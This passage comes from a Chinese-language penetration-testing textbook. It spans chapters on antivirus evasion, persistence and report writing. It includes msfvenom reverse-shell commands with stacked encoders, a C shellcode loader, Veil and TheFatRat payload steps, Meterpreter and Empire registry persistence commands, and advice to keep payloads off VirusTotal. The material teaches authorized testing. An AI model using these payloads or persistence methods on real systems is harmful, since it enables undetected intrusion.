最后,我们通过再次运行shikata_ga_nai编码器并使用-f exe -o选项创建一个exe文件来编译这个。
一旦命令执行,它将创建一个名为MSFV-payload.exe的后门文件,存储在/root/Downloads/文件夹中。
我们将在本章后面的测试规避技术部分测试此文件的检测率。
Veil Evasion
Veil Evasion 工具套件可用于创建规避常见杀毒软件并生成反向 shell 的 shellcode。
安装 Veil 工具套件可以按以下步骤完成:
-
在 Kali Linux 中打开一个终端窗口。
-
使用
apt install -y veil命令。这将下载 Veil 工具套件,所有依赖项,并为安装做好准备。-y命令用于在询问是否要安装软件时简单地预定义yes参数。 -
一切都下载完成后,可以通过运行
veil命令(参见以下屏幕截图)来开始安装。使用s选项进行静默安装。这仍会显示正在安装的组件,但您无需进行任何交互:
图 2:安装 Veil 组件
Veil 安装完成后,您可以在终端窗口中使用veil命令运行该工具。首次启动时,将显示主窗口(参见以下屏幕截图),其中将显示已加载的两个工具。使用特定工具使用use [number]命令;例如,要使用Evasion,您将使用use 1命令:
图 3:Veil 初始菜单
我们可以使用的工具是Evasion和Ordnance。这两个工具执行不同的功能,如下所示:
-
Evasion:用于生成可用于绕过防病毒软件的有效载荷。 -
Ordnance:用于生成可与Evasion一起使用的 shellcode。Ordnance消除了使用 MSFvenom 生成 shellcode 的需要。原因是随着 MSFvenom 的更新,它会破坏Evasion创建的有效载荷。
让我们使用 Veil 创建一个恶意有效载荷:
-
使用
veil命令启动Veil。 -
Veil 启动后,我们将使用
Evasion工具。输入use 1:
图 4:选择 Evasion 工具
-
要查看有效载荷的完整列表,请输入
list payloads命令。在撰写本文时,Veil Evasion 中有 41 个有效载荷可用。我们将使用python/shellcode_inject/aes_encrypt.py创建有效载荷。要选择此有效载荷,我们将使用与之关联的数字。 -
要使用有效载荷,我们将发出
use 29命令:
图 5:选择有效载荷
-
在有效载荷中,我们有许多可以配置的选项。如果要配置这些选项,可以使用
set [option name] [value]命令。例如,要配置CLICKTRACK选项,将使用set CLICKTRACK 1命令。我们现在不会配置任何选项,因此我们将输入generate以进行下一步。 -
现在我们有与 shellcode 相关的选项(参见以下屏幕截图)。在这里,您将注意到我们可以利用
MSFVenom、Ordnance、Custom shellcode strings等。我们将使用Ordnance来创建 shellcode。输入选项号1:
图 6:shellcode 选择
- 当您输入选项
1时,将进入Veil-Ordnance菜单(参见以下屏幕截图)。在这里,您有一些选项,如查看payloads和encoders。要查看有效载荷,输入list payloads命令:
图 7:Ordnance 有效载荷
-
我们将使用
rev_https有效载荷,使用use 3命令选择它。现在我们将为有效载荷选择选项。 -
我们需要在这里定义一些选项。定义
LHOST和LPORT变量。记住这是目标机器将连接回来的 IP 地址和端口。我还定义了使用内置xor命令的Encoder。您可以使用set命令定义这些设置。您的输出应该与以下类似,除了LHOSTIP 地址:
图 8:定义有效载荷选项
- 输入
generate来生成 shellcode。现在您将看到 shellcode 的输出,并且 Veil 会要求您输入一个文件名(见下图).给它一个名字并按Enter:
图 9:生成的 shellcode
-
提供了输出文件的基本名称后,您可以选择一个选项来创建有效负载可执行文件。在这个演示中,我们将使用默认的
PyInstaller。 -
一旦过程完成,您将看到恶意可执行文件和源代码的位置显示*:*:
图 10:创建的恶意可执行文件
通过在目标机器上运行这个可执行文件,它将创建一个反向 shell 到您作为攻击者使用的机器。当然,我们仍然需要确定这个可执行文件是否会被任何防病毒软件检测到。我们将在本章的测试规避技术部分进行测试。
TheFatRat
TheFatRat 是另一个可以用来生成不可检测有效负载的工具。它支持 Windows、Android 和 macOS 的有效负载。它有丰富的选项,比如以下:
-
自动化 Metasploit 功能(创建后门、防病毒规避、启动 meterpreter 监听等)
-
基于 Android APK 创建后门
-
文件泵(用于增加文件大小)
-
使用办公文件创建后门
TheFatRat 不是 Kali Linux 的默认组件。可以通过以下步骤安装:
- 在 Kali Linux 中打开一个终端窗口,并使用以下命令克隆
TheFatRat的存储库:
git clone https://github.com/Screetsec/TheFatRat.git
- 克隆存储库后,使用以下命令导航到目录:
cd TheFatRat
- 更改文件权限并使用以下命令运行设置脚本:
chmod +x setup.sh && ./setup.sh.
在这个命令中,我们正在改变setup.sh文件的权限,以便我们可以运行它。
- 在安装过程中,将安装所有依赖项。
安装完成后,您可以使用fatrat命令运行 TheFatRat。
在启动过程中,TheFatRat 会提醒不要将生成的有效负载上传到 VirusTotal。我们将在本章的测试规避技术部分讨论这个问题。
让我们使用TheFatRat创建一个有效负载:
-
从终端窗口,使用
fatrat命令启动TheFatRat。 -
菜单加载后,您会注意到有一些可以使用的选项:
图 11:TheFatRat 主菜单
- 选择选项
2以使用Fudwin创建Fud。
Fud是Fully Undetectable Payload的缩写。
- 一旦
Fudwin模块加载,我们有两个选项。我们将选择选项2-慢但强大。这个工具编译了一个带有 meterpreter 反向 TCP 有效负载的 C 程序:
图 12:使用 Fudwin 模块进行工具选择
-
选择选项
2后,您需要定义LHOST和LPORT选项。接下来,您需要选择目标操作系统的架构。可以是x86或x64。 -
一旦选项被定义,工具将处理剩下的事情。它将把恶意有效负载编译成一个可执行文件,并存储在
TheFatRat根文件夹中的output目录中。
一旦在远程系统上运行该文件,它将创建一个反向tcp后门到攻击机器。在测试规避技术部分,我们将比较这个有效负载的检测率和我们创建的其他有效负载。
自定义编译
自定义编译可以帮助大大减少检测能力。您可以利用互联网上可用的自定义 shellcode,并根据需要进行调整,以执行您想要的功能。
在本节中,我们将以基本水平介绍自定义 shellcode 的创建。Shellcode 的创建可能变得复杂,随着您在渗透测试职业中的进步,您将建立起编写复杂 shellcode 的技能。我们将使用 C 编程语言来介绍 shellcode 的创建。
诸如 Exploit-DB 之类的网站托管了社区发布的许多 shellcode。可以通过以下 URL 访问:www.exploit-db.com/shellcodes。
让我们使用 C 创建一个自定义 shellcode。
首先,我们将使用 MSFvenom 创建一个 shellcode 文件。让我们使用之前创建的相同 shellcode,但是这次我们将其输出到一个.C文件中:
-
从终端窗口,使用
mkdir msfv-shellcode命令创建一个新目录。 -
使用
cd msfv-shellcode命令导航到目录。 -
现在,使用以下命令创建有效载荷:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.34.153 LPORT=8080 -f raw -e x86/shikata_ga_nai -i 15 | \
msfvenom -a x86 --platform windows -e x86/countdown -i 9 -f raw | \
msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f c -o MSFV-shellcode.c
执行了上述命令后,MSFvenom 将创建 shellcode 文件。
现在,我们需要添加一些变量,以便使用 C 编程语言进行编译。使用文本编辑器或 nano 编辑刚刚创建的MSFV-shellcode.c文件。
添加以下行,用**标记:
#include<stdio.h>
#include<string.h>
unsigned char buf[] =
"\xbd\xa1\xe2\xe6\x8b\xd9\xeb\xd9\x74\x24\xf4\x5f\x2b\xc9\x66"
"\xb9\x1b\x01\x83\xef\xfc\x31\x6f\x12\x03\x6f\x12\x43\x17\x5c"
"\x54\x5a\x66\x22\xb1\x95\x4e\x51\x62\xd1\x2e\xa9\xa3\x7f\x68"
"\xd9\x32\xfc\x65\x1e\x05\x55\x6b\xdc\x31\x97\xb0\xa9\x85\xdb"
--snip--
int main ()
{
printf("Shellcode Length: %d\n", strlen(buf));
int (*ret)() = (int(*)())buf;
ret();
}
在上述代码中,我剪切了 shellcode,以便可见所需的代码行。在您的 shellcode 文件中,unsigned char buf [] =行下面将有更多字符。
在上述代码中,我们添加了以下组件:
#include<stdio.h> | 在这里,我们调用一个库,该库涉及输入和输出函数。 |
|---|---|
#include<string.h> | 在这里,我们调用一个库来操作字符串,因为我们使用strlen函数来获取字符串长度。 |
int main | 此字符串用于声明一个函数。在 C 编程语言中,main下的函数是程序加载时运行的函数。 |
printf("Shellcode Length: %d\n | 此行用于发送打印输出并掩盖 shellcode 长度。 |
| int (*ret)() = (int(*)())buf;
ret () | int (*ret)()用于声明一个指针,而=(int(*)())buf;是将要使用的指针。ret()调用该指针,然后指向运行的 shellcode。 |
添加了额外的代码后,我们现在可以将其编译为可执行文件(请参见以下屏幕截图)。这是使用mingw32编译器完成的,该编译器在安装 Veil Framework 时已安装。如果未安装,可以使用以下命令进行安装:
apt install mingw-w64
要将 shellcode 编译为可执行文件,请使用以下命令:
x86_64-w64-mingw32-gcc MSFV-shellcode.c -o MSFV-shellcode.exe
我们得到以下输出:
图 13:将 shellcode 编译为可执行文件
现在,您有一个可执行文件,可以创建反向 shell。通过自定义编译过程,可以大大降低防病毒软件的检测率。通过添加额外的随机字符,可以进一步模糊检测率。
测试逃避技术
测试您的有效载荷有两种方法。一种方法是在实验室环境中使用目标系统的副本进行测试;然而,这并不总是可能的,因为您的客户使用的防病毒程序可能有许可要求。
您的另一个选择是将有效载荷的样本提交到 VirusTotal 等在线服务。
VirusTotal
VirusTotal 被许多安全行业人员用来提交文件或 URL 进行恶意软件分析。VirusTotal 通过与 70 多个防病毒供应商交叉检查提交的文件来工作。VirusTotal 有一个限制,就是提交将与防病毒供应商共享,以帮助提高其检测能力。
当您构建自己的载荷时,您不希望与防病毒软件制造商共享。如果共享了,您的载荷的工作机会将大大减少,因为一旦防病毒软件制造商使用提交信号更新其检测能力,检测率将会增加。
VirusTotal 可以通过以下 URL 访问:www.virustotal.com/。
让我们看看我们在上一节中创建的载荷,以及它们的检测率。
MSFvenom的检测率为 71 中的 50,尽管我们使用了两个编码器和多次迭代:
图 14:MSFvenom 生成的 shellcode 检测率
测试使用相同 MSFvenom 载荷创建的自定义 shellcode 产生了明显较低的检测率,为 70 中的 8:
图 15:自定义 shell 代码检测率。
Veil的检测率为 70 中的 35。这比使用 MSFvenom 生成的要低得多:
图 16:Veil 生成的 shell 代码检测率
TheFatRat 的检测率为 70 中的 6。这远低于 MSFvenom 和 Veil。请注意文件名为Powerfull-fud.exe;TheFatRat 可能已生成一个普通的Powerfull.exe文件,也可以使用。那个的检测率为 70 中的 8:
图 17:TheFatRat 生成的 shellcode 检测率
我们可以看到不同的技术产生不同的结果。随着防病毒软件的发展,制作一个完全不可检测的载荷变得更加困难。然而,知道如何使用现有的工具将帮助您构建一个适合您的目标并且无法被其防病毒软件检测到的载荷。
总结
在本章中,您已经了解了防病毒软件的发展,以及它们如何开始利用机器学习和人工智能。您已经了解了可以用于规避防病毒软件的各种技术,以及可以用于创建不可检测载荷的不同工具。我们已经使用 shellcode 创建了一些载荷,并查看了它们在 VirusTotal 等在线服务中的检测率。
在下一章(第十二章,在环境中保持控制)中,我们将讨论持久性以及如何在受损网络中保持访问。
问题
-
防病毒软件是如何发展的?
-
列举两种防病毒软件规避技术。
-
可以利用哪些工具来构建不可检测的载荷?
-
使用自定义编译的 shellcode 有什么好处?
-
一旦构建了您的载荷,您绝对不应该做什么?
第十二章:在环境中保持控制
一旦你进入了目标环境,你需要考虑如何维持访问,以便能够返回。在现实世界的攻击中,攻击者会创建多个后门或命令和控制(C2)通道,以便轻松地重新进入受损环境。在渗透测试中,你也会这样做。
在本章中,你将了解到维持访问是保持对目标系统控制的重要步骤,因为你可能使用的利用可能会被修补,最终移除你的临时远程访问。你将学习可以使用的各种技术和工具,并能够熟练地使用本章描述的工具来创建对目标系统的持久访问。
随着你在本章的学习过程中,你将了解以下主题:
-
维持访问的重要性
-
用于维持访问的技术
-
使用持久性工具
技术要求
本章需要以下技术要求:
-
Kali Linux 2019.1
-
Metasploitable 3
维持访问的重要性
在第十章中,横向移动和提升特权,我们进行了后期利用,并获得了对受损主机的访问权限,最终拥有了该域。如果我们利用的漏洞被修补,或者 IT 人员发现已经受到了侵害并采取了措施来弥补漏洞,最终移除了我们的访问权限,会发生什么?我们需要一种方法重新进入目标网络或系统。当然,我们可以尝试其他利用或甚至从社会工程攻击开始,但这需要时间,让我们退了好几步。这就是维持访问的重要性所在。一旦你侵入了初始系统,维持访问应该是首要任务。目标是在目标内获得持久存在,以实现深度访问的目标。
在现实世界中,有一个术语用来定义攻击者通常在被发现之前在系统中停留数月的情况。他们被称为高级持续威胁(APT)。APT 可以是攻击活动、一组入侵者,甚至是国家行为者,他们的目标是窃取数据、侵犯敏感数据或破坏关键基础设施。
国家行为者是为政府或国家工作的黑客,旨在破坏或侵犯其他政府或大型组织。他们的目标是获取高价值的数据和情报。朝鲜的"千里马"就是一个国家行为者的例子。
在渗透测试中,你不会专注于高级持续威胁的非道德目标;相反,你会专注于获得这些复杂攻击能够实现的持久性水平。
用于维持访问的技术
当你最初侵入目标系统时,你拥有临时访问权限。一旦系统重新启动,该访问权限就会终止。有许多技术可以用来维持访问。这些技术涵盖了从工具和恶意软件到使用内置系统工具。让我们考虑一些可以利用的各种技术。
后门
后门可以轻松地重新进入受损系统。特洛伊木马可以用于建立后门。特洛伊木马是一种伪装成合法软件的恶意软件,其目标是释放恶意载荷,以实现对系统的远程访问。特洛伊木马能够使用特权访问安装自己作为服务,例如本地系统。特洛伊木马也可以用于数据外泄。
使用特洛伊木马的问题在于它可能会被杀毒技术检测到。正如我们在第十一章中所强调的,杀毒软件规避,杀毒软件已经发展并具有复杂的检测能力。
C2
C2 服务器用于与受损主机保持通信。这种通信可以从简单的心跳到完全成熟的使用目标系统作为机器人的命令传播。由于这种通信是从受损主机向 C2 服务器发起的,如果您使用已知开放的端口,如 HTTP/HTTPS,检测风险较小。
Linux cron 作业
在 Linux 系统上,您可以自动启动任务。Cron是调度程序,可用于在特定时间运行特定命令。这些定期任务称为cron 作业。在操作系统中,这些 cron 作业通常用于执行诸如备份、删除日志文件和监视等任务。
您可以利用 cron 作业来运行您可能使用诸如 Metasploit 之类的工具生成的有效负载。一个更简单的任务可以是使用 cron 作业创建一个 netcat 会话,该会话将连接回您。
利用现有资源生存
利用现有操作系统工具执行任务是“利用现有资源生存”。例如,您可以使用 PowerShell 执行多项任务,从侦察到维护后门。注册表是建立持久性访问的好方法。利用注册表可以执行批处理文件和可执行文件,甚至使用 DLL 中的函数。
专注于注册表,了解HKEY_LOCAL_MACHINE(HKLM)和HKEY_CURRENT_USER(HKCU)之间的区别很重要。在HKLM中定义的键在系统启动时运行,而HKCU在用户登录后运行。在这里定义的键是最常见的,并用于注入后门:
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]
请注意,我们有定义为Run和RunOnce的注册表键。RunOnce键在启动或登录时运行一次,然后被删除,而Run键保持不变。
使用持久化工具
现在我们已经介绍了一些用于保持访问的技术,让我们专注于一些可用的工具。我们将首先看一下 Metasploit 框架。我们将介绍的第二个工具是 Empire。
Metasploit 框架
我们在本书中广泛涵盖了 Metasploit,也就是说,在渗透测试的许多阶段中使用了它。在持久性方面,Metasploit 也有模块。
我的目标系统是 Metasploitable 3 虚拟机。我使用了exploit/windows/smb/ms17_010_eternalblue来利用它。
创建了 meterpreter 会话后,您可以使用run persistence命令利用内置的持久性脚本。我们可以在以下截图中看到可用的选项:
图 1:Meterpreter 持久性脚本选项
有一个警告通知我们 Meterpreter 脚本已被弃用,我们应该使用/post/windows/manage/persistence_exe。现在,让我们坚持使用弃用的脚本。
要获得持久性 shell,我们可以使用run persistence -U -i [seconds] -p [port] -r [host]命令。
这个命令让代理在用户登录时启动(-U)。我们以秒为单位定义间隔(-i);我们定义远程端口(-p),然后是要连接回的主机(-r)。一旦脚本运行,我们将看到已设置一个注册表键,并且已使用.vbs文件设置了持久性:
图 2:使用 Meterpreter 脚本设置持久性
安装了持久性脚本后,shell 将在用户每次登录时重新建立。但是,我们还需要做一件事,那就是创建一个处理程序。这个处理程序将监听连接并创建远程会话。
可以使用以下命令设置一个简单的处理程序:
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST [IP]
set LPORT [PORT]
exploit
请记住,LHOST是持久性脚本中使用的相同 IP 地址,LPORT也是在该脚本中定义的相同端口。一旦执行了这些命令,反向处理程序就会启动:
图 3:在 Metasploit 中创建处理程序
现在,你已经为远程 shell 连接做好了一切准备,即使目标系统已经重启。你可以通过重新启动 Metasploitable 3 虚拟机来测试这一点。一旦机器启动并有用户登录,meterpreter 会话将建立连接。
让我们看一下 meterpreter 之前提到的推荐的后置模块。为了使用/post/windows/manage/persistence_exe,你需要创建一个有效载荷。我使用 MSFvenom 创建了一个简单的有效载荷。
在上面的屏幕截图中,用于创建在之前屏幕截图中看到的payload.exe文件的命令是msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=1338 -f exe -o /root/Desktop/payload.exe。请注意端口号——它与我们之前使用的不同。
一旦生成了有效载荷,你可以在 Meterpreter 会话中使用以下命令:
run post/windows/manage/persistence_exe REXEPATH=/root/Desktop/payload.exe
REXEPATH用于定义你在 Kali 环境中创建的有效载荷的位置。STARTUP用于定义启动类型(User、System或Service);这将决定使用哪个注册表键。一旦输入了上述命令,Metasploit 将执行持久性攻击,并在注册表中创建一个自动运行,如下面的屏幕截图所示:
图 4:使用恶意有效载荷的持久性
一旦完成这些操作并退出 Meterpreter 会话,创建一个新的处理程序。记得定义一个不同的端口号。
在以下的屏幕截图中,请注意我建立的两个会话:
图 5:使用 Meterpreter 建立会话
通过在目标机器上使用regedit,我们可以验证注册表键是否存在:
图 6:Metasploit 中持久性模块创建的注册表键
Metasploit 框架中的持久性模块非常强大。在真实的渗透测试中,如果你使用 Metasploit 来保持访问,你将利用一个不可检测的有效载荷,因为杀毒软件可能会删除被释放到目标系统磁盘上的有效载荷。
Empire
让我们专注于 Empire 提供的持久性模块。这些模块分为五类:
-
PowerBreach:这些专注于内存驻留后门。它们在重启后不会存在。
-
Userland:这些在重启后仍然存在,但只有在特定用户登录时才有效。这不是一个管理员持久性模块。
-
提升权限:这些允许在管理员上下文中使用持久性。它们在重启后仍然存在。
-
Debugger:这些使用各种工具在 RDP 登录之前实现持久性。例如,你可以利用一个作为
SYSTEM运行的命令提示符 shell,而无需登录到目标机器。 -
Misc:这些是持久性的其他方法,例如,利用 Mimikatz 工具获取机器账户密码。
在下面的屏幕截图中,我有一个针对 Metasploitable 3 虚拟机的活动代理:
图 7:Empire 中的活动代理
使用persistence/userland/registry模块,我们将利用HKCU注册表来在用户上下文中植入一个持久性模块。这个脚本只会在用户登录时运行:
图 8:在用户上下文中使用持久性模块
一旦命令执行,我们将收到一些输出,其中定义了修改的注册表键,并可以将其添加到脚本中。在用户空间模块的情况下,它设置在HKCU:Software\Microsoft\Windows\CurrentVersion\Debug中。
现在,让我们尝试一个提升的持久性模块。我们将使用persistence/elevated/registry模块。这使用HKLM注册表来植入一个脚本,该脚本将在目标系统启动时运行。我们将进一步修改此模块以定义我们自己的注册表位置(使用set RegPath HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run命令)和键(使用set KeyName命令和一些随机字符):
图 9:在提升的系统上下文中使用持久性模块
一旦命令执行,注册表键将被设置,我们将对远程系统有持久的连接。
在目标机器上使用regedit,我们可以验证注册表键是否存在:
图 10:Empire 设置的注册表键
Empire 拥有丰富的持久性模块可供使用。这些模块涵盖了注册表、计划任务等等。在实验室中尝试它们将帮助您充分了解每个模块的工作原理。
摘要
保持访问是渗透测试的重要部分。这可以避免您不得不重新利用目标系统。请记住,您最初可能使用的漏洞可能自您上次使用以来已经修补。因此,您需要另一种访问目标系统的方式,以免找到新的漏洞并浪费时间。
在本章中,您了解了可以用于在目标环境中保持访问的各种技术。您学会了识别 Windows 注册表的特定键以及它们如何用于持久性。最后,您学会了如何使用各种工具来保持对目标系统的访问。
在第十三章中,报告和处理您的发现,我们将讨论如何撰写渗透测试报告以及如何根据这些发现确定和推荐补救措施。
问题
-
为什么需要保持访问?
-
什么是 APT?
-
列举两种可以用于保持访问的技术。
-
“living off the land”是什么意思?
-
HKCU 和 HKLM 之间有什么区别?
第四部分:将所有内容整合起来
在本节中,我们将讨论如何结束渗透测试,并进一步提高您在渗透测试领域的技能。您将了解如何创建渗透测试报告以及应该推荐哪些安全概念,以帮助客户根据渗透测试的结果减少安全风险。您将学习如何通过相关资源获取技能和认证,继续发展您的渗透测试职业。您将了解可以用来进一步提高您技能的易受攻击资源。
本节将涵盖以下章节:
-
第十三章,报告并采取行动
-
第十四章,我接下来该怎么做?
第十三章:报告和对发现的行动
渗透测试报告非常重要,因为它为客户提供了测试的详细结果。在本章中,你将能够了解渗透测试报告的具体内容。你将能够确定报告的受众及其对报告的看法有何不同。你将学会如何使用 Dradis,它可以帮助你跟踪发现、问题和证据,这些都可以用在你的报告中。你将学会推荐什么样的补救工作来帮助客户保护他们的环境。
随着你在本章的学习过程中,你将了解以下主题:
-
渗透测试报告的重要性
-
渗透测试报告的内容是什么?
-
报告撰写工具
-
推荐补救选项
技术要求
本章需要以下技术要求:
- Kali Linux 2019.1
渗透测试报告的重要性
不要低估报告的重要性。渗透测试报告是你讲述在目标组织中导航和发现漏洞的故事的一种方式。它允许你向利益相关者传达重要信息,如高管和 IT 管理团队。这将帮助他们推动补救工作,并为可能需要制定或更新的政策提供高管支持,以解决发现的风险。请记住,在信息安全领域,如果没有高管利益相关者的支持,政策注定会失败。
对于技术团队,报告提供了他们环境有多脆弱的清晰图景。它将为他们提供有关哪些方面容易受攻击、为什么容易受攻击、会影响谁以及漏洞如何被利用的全部技术细节。拥有这些信息将帮助技术团队准备补救工作的路线图,并计划首先解决哪些问题。
不要陷入没有足够时间撰写体面报告的困境——确保你在计划中考虑了报告撰写。
在撰写报告时,不要假设阅读报告的人具有与你相同的技术水平。他们在 IT 领域工作,但他们的兴趣可能与你的迥然不同。学会如何在报告中解释你的发现是一门艺术;随着你在这个领域的成长和经验的积累,你将掌握这门艺术。最终,你希望你的报告能够帮助建立与客户的关系,然后他们会一次又一次地使用你的服务。
渗透测试报告的内容是什么?
一些客户可能会告诉你他们想在报告中看到什么,而有些客户则不会。无论如何,你都应该有一个报告遵循的基本结构。这里将讨论的结构绝不是一个模板;它只是帮助你了解报告中会有什么。如果你在一个联系其他组织进行渗透测试的组织工作,他们可能有自己的模板。如果你作为个人进行渗透测试,你将建立自己的模板。
让我们看看报告可能包含的一些部分。
封面
封面应包含渗透测试公司的名称和标志。客户的名称应显示,以及为渗透测试指定的任何标题。这将在为同一客户执行多次测试时提供清晰的区分。日期应出现在此页面上,以及文档的分类。报告中包含的细节是敏感的,不应该供所有人查看;因此,应使用机密或高度机密等分类。
执行摘要
执行摘要将以高层次传达渗透测试的具体目标和发现。这一部分的受众将是负责战略愿景、安全计划和组织监督的人员。这一部分通常包含我们将在下面描述的子部分。
背景
在这一部分,您需要定义测试的目的。确保您连接了预参与阶段讨论的细节,以便读者能够将风险、对抗措施或测试目标与测试的目标和结果联系起来。
您还可以在这一部分列出在参与过程中可能发生变化的任何目标。
整体态度
在这里,您将说明渗透测试的整体态度。您将说明渗透测试的有效性以及测试期间实现了哪些目标。在这一部分中,您可以说明它对组织的潜在影响。
风险排名
这一部分将定义组织的整体风险排名。您将使用在预参与阶段达成一致的评分机制。
一个例子是损害潜力,可重现性,可利用性,受影响用户和可发现性模型(DREAD)。每个方面可以定义如下:
-
损害潜力:资产受到多大影响?
-
可重现性:攻击有多容易重现?
-
可利用性:资产有多容易被利用?
-
受影响用户:有多少用户受到影响?
-
可发现性:漏洞有多容易被发现?
通过回答这些问题,您将为每个发现的项目分配一个风险评级值。这可以是高,中或低。风险评级值可以是一些简单的数字表示,例如,低=1,中=2,高=3。
将所有值相加将确定风险评级:
| 风险评级 | 结果 |
|---|---|
| 高 | 12-15 |
| 中等 | 8-11 |
| 低 | 5-7 |
使用 DREAD 模型对发现进行评估的一个例子如下:
发现的漏洞:缺乏输入过滤使得可以利用 SQL 注入攻击从 SQL 数据库中提取用户详细信息。
分析 DREAD 模型中项目的评级将确定风险评级:
| 项目 | 评级 |
|---|---|
| 损害潜力 | 3 |
| 可重现性 | 2 |
| 可利用性 | 3 |
| 受影响用户 | 3 |
| 可发现性 | 1 |
一旦将所有值相加,总和为 12,这意味着风险评级很高。
一般发现
在这一部分,您将得到对发现的整体视图。这不会是具体的详细发现,而是发现的统计表现。您可以使用图表或图形来表示已经测试的目标、结果、攻击场景和预参与阶段定义的其他指标。您可以查看使用图表来表示问题的原因,例如,操作系统未加固=35%,等等。
对抗措施的有效性也可以在这里列出。例如,当测试一个已经部署了 Web 应用程序防火墙的 Web 应用程序时,您可以说明五次攻击中有两次被防火墙阻止。
战略路线图
路线图提供了一个优先级排列的补救计划。这些必须与业务目标和影响程度相权衡。理想情况下,这一部分应该与组织定义的目标相匹配。
路线图可以分为短期、中期和长期活动。短期将定义组织在 1-3 个月内可以解决已发现问题的活动。中期可能是 3-6 个月,而长期可能是 6-12 个月。
技术报告
技术报告是您将传达您发现的所有技术细节的地方。这份文件的这一部分将详细描述参与范围。这一部分的受众将是具有深厚技术技能的人员,可能是解决发现问题的人员。
技术报告的第一部分将是介绍部分。这一部分将包括谁参与了渗透测试、联系信息、目标系统或应用程序、目标和范围等主题。
让我们专注于可能包括在技术报告中的主要主题。
使用的工具
在某些情况下,您的客户可能希望重现您进行的测试。为了让他们获得相同的结果,披露您使用的工具以及它们的版本将是有益的。
一个例子如下:
-
测试平台:Kali Linux 2019.1
-
Metasploit Framework v5:渗透测试框架
-
Burp Suite 专业版 v1.7.34:Web 应用测试框架
-
Nmap v7.70:端口扫描和枚举工具
您将继续列出在渗透测试期间使用的所有工具。
信息收集
在这一部分,您将写关于客户可获取多少信息。一定要突出公共和私人信息的范围。如果需要,您可以将这一部分分为两个类别:
-
被动信息收集:这一部分是您将展示在不向目标发送任何数据的情况下收集到的信息量。例如,您可以突出从精心设计的 Google dork、DNS 或公开可访问的文档中获取的任何信息。
-
主动信息收集:在这一部分,您将展示使用端口扫描和其他足迹活动等技术获取了多少信息。这一部分披露了通过直接向资产发送数据获取的数据。
公开可访问的信息对于任何组织来说都应该是一个巨大的关注点,特别是如果在公开可访问的文档中存在可能泄露组织用户名结构的元数据。
漏洞评估和利用
在这一部分,您将定义用于识别漏洞以及漏洞如何被利用的方法。您将包括漏洞的分类、证据以及 CVE 细节等内容。
在披露漏洞时,一定要将它们分为技术漏洞和逻辑漏洞。
技术漏洞是可以通过缺失的补丁、编码错误或注入恶意代码来利用的漏洞,例如,SQL 注入攻击。
逻辑漏洞是通过发现应用程序工作方式的缺陷来利用的,例如,一个未能执行权限检查的 Web 应用程序。
以下是您报告漏洞的一个例子:
-
发现:在这里,您将详细讨论发现。例如:我们发现 Server01(
192.168.10.15)缺少 MS17-010 微软 Windows 补丁,并且该服务器已被手动利用 DoublePulsar。DoublePulsar 为系统创建了一个后门,可以被任何人使用。它为勒索软件(如 WannaCry 和 NotPetya)打开了一扇门,特别是在没有 MS17-010 补丁的系统上。我们能够利用这个缺失的补丁获得对具有完全管理权限的服务器的访问。由于我们可以访问服务器,我们能够使用 Metasploit 的 hashdump 提取本地管理员账户(localadmin)及其密码哈希。 -
受影响的主机:这里是您定义主机或应用程序的全名,例如,
CLIENT\Server01(主机名)。 -
使用的工具:在这里,您将解释您使用的工具,例如,Metasploit Framework v5。
-
证据:这是您提供利用证据的地方。可以是截图或屏幕文本捕获的形式。
-
业务影响:在本节中,您定义了发现的风险是什么。例如,当系统未能及时打补丁时,它们可能会引入风险,这可能会被恶意软件、勒索软件和恶意用户滥用,以获取对敏感信息的访问权限。
-
根本原因:这定义了漏洞的根本原因。这可能是技术性的,比如缺少安全补丁,也可能是与流程相关的。例如,根本原因是与流程相关的,因为存在补丁管理系统。服务器未能及时打补丁。
-
建议:在这里,您将定义应采取的建议行动方案,以纠正这一发现。确保提供尽可能多的细节。例如,短期行动将是更新服务器,以确保其与所有 Microsoft 补丁保持最新。长期行动将是确保每月对整个网络进行漏洞评估,并确保服务器和工作站完全打补丁。管理层还应扫描网络,查找所有手动利用 DoublePulsar 的系统,并将其从网络中移除,因为它们为任何人创建了系统的后门。
在报告中获得正确的细节水平可能有些棘手。如果报告过于详细,一些客户可能会觉得不知所措,而有些客户可能会觉得缺乏细节。确定报告中应包含的正确细节量的最佳方法是花时间与客户一起,了解他们的期望和他们希望从报告中得到什么。
渗透后
一旦讨论了漏洞及其利用,您需要强调对客户的实际影响。请记住,这种影响将是客户在真实世界攻击中所经历的。
在本节中,您可以利用截图详细说明影响的程度。您可以在本节中讨论以下主题:
-
特权升级路径和使用的技术,例如哈希传递攻击,最终伪造黄金票证
-
使用持久性维持访问的能力
-
数据外泄的能力
-
可能使用枢纽点访问的其他系统
本节可以讨论反制措施的有效性,包括积极和消极的反制措施。检测能力也属于本节;例如,杀毒软件能否检测到您的有效载荷?
如果在渗透测试期间触发了任何事件响应活动,这些应该列在本节中。
结论
结论将对渗透测试进行最终概述。在本节中,您可以重申测试的部分内容以及客户如何提升其安全姿态。无论结果有多糟糕,都要以积极的态度结束。这将使您的客户对未来的测试活动有信心。
报告撰写工具
在撰写渗透测试报告时,您可能会想知道如何跟踪发现。也许您更喜欢使用文字处理器的手动方法,或者您可能希望使用更直观的工具。
